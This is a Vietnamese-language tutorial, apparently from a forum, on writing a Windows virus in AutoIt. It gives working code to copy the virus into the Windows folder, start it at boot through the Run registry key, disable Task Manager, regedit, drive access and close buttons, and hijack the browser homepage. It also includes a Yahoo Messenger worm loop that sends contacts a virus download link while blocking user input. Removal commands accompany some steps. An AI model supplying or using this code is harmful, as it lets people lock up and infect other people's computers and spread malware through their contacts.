Lệnh đầu tiên mà bắt buộc con virus = autoit nào cũng phải  có:
#Notrayicon 
---> để kô hiện chương trình ở khay  icon

FileCopy(@ScriptDir & "\******.exe","C:\WINDOWS",1)  
---> "*****" sẽ là tên virus mà bạn tạo ở con autoit này, lệnh này  dùng để kết hợp với lệnh kế tiếp
Lệnh khắc  phục:
FileDelete("C:\Windows\*****.exe")

RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run","explorer","REG_SZ",@WindowsDir  & "\*****.exe")
---> **** sẽ là tên chương trình, lệnh này dùng để  khởi động virus mỗi khi máy tính được bật lên, và chỉ dùng được khi có lệnh ở  trên
Lệnh khắc phục:  
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run","explorer")

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr","REG_DWORD","1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr","REG_DWORD","1")
---->  lệnh này sẽ giúp con virus của bạn khóa taskmanager của máy tính 
Lệnh khắc  phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr")

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools","REG_DWORD","1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools","REG_DWORD","1")
---->  lệnh này sẽ giúp con virus của bạn khóa regedit của máy tính
Lệnh khắc  phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools")

RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoRun","REG_DWORD","1")
---->  lệnh này sẽ giúp làm mất nút run trong windows
Lệnh khắc  phục:
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoRun")

RegWrite("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet  Explorer\Control  Panel","Homepage","REG_DWORD","kick_bay_gio@yahoo.com.vn")
RegWrite("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet  Explorer\Control Panel","Homepage","REG_DWORD","1")

----> lệnh này  sẽ giúp bạn thay đổi homepage của IE, ở đây mình change homepage lại là <a href="mailto:kick_bay_gio@yahoo.com.vn">kick_bay_gio@yahoo.com.vn</a>  ^^"

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive","REG_DWORD","67108863")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive","REG_DWORD","67108863")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives","REG_DWORD","67108863")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives","REG_DWORD","67108863")
---->  lệnh này giúp bạn khóa ổ đĩa của người khác, kô cho truy cập vào ổ đĩa,  "67108863" ---> là thông số để khóa tất cả các ổ đĩa
Lệnh khắc  phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives")


RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoClose","REG_DWORD","1")
--->  lệnh này làm mất nút close ở mỗi chương trinh (bật lên là kô thể tắt được  (O_o)
Lệnh khắc  phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoClose")

Lệnh  reset máy:
Shutdown(thông số)
Các thông số có thể có là
+0: Đổi  user (hay thường gọi là log off)
+1: Tắt máy (shutdown)
+2: reset  máy(restart)
+4: Force 
+8: Power down
+32: Stanby
+64:  Hibernate
VD: Shutdown(2) ---> reset máy

Lệnh đợi,  dừng:
Sleep(seconds)
VD: Sleep(3000) ---> Dừng 3  giây

Cách phát tán trên yahoo (hót nhất ^^)
Dim $tin[10]  -----> $tin[so] So: số ở đây là số tin nhắn mà bạn muống gửi trong  yahoo
$tin[0] ="marryme " ------> bạn đặt lời nhắn vào trong dấu  ngoặc kép + link down virus ^^"
$tin[1] ="vip"
$tin[2] ="  nhut"
$tin[3] =" babu"
$tin[4] =" ...."
$tin[5] =" ...."
$tin[6]  ="...... "
$tin[7] ="..... "
$tin[8] ="..... "
$tin[9] ="......  "
$tieude = WinGetTitle("Yahoo! Messenger","") 
$kiemtra = WinExists  ($tieude)
While 1
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)  
Sleep(2500)
ClipPut($tin[$ngaunhien])
BlockInput  (1)
WinActivate($tieude)
Send("!m")
Send("un")
Send("^v  {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v  {ENTER}")
BlockInput (0)
EndIf

Lệnh kô cho mở 1 chương trình  bất kỳ (chỉ cần biết tên process của chương trình đó)

While
If  ProcessExists("iexplorer.exe") then  
ProcessClose("iexplorer.exe")
EndIf
If ProcessExists("firefox.exe")  then 
ProcessClose("firefox.exe")
EndIf
WEnd
----> VD: If  ProcessExists("iexplorer.exe") then ---> khi máy tính mở file iexplorer  (IE)
ProcessClose("iexplorer.exe") --> đóng ngay lập tức
EndIf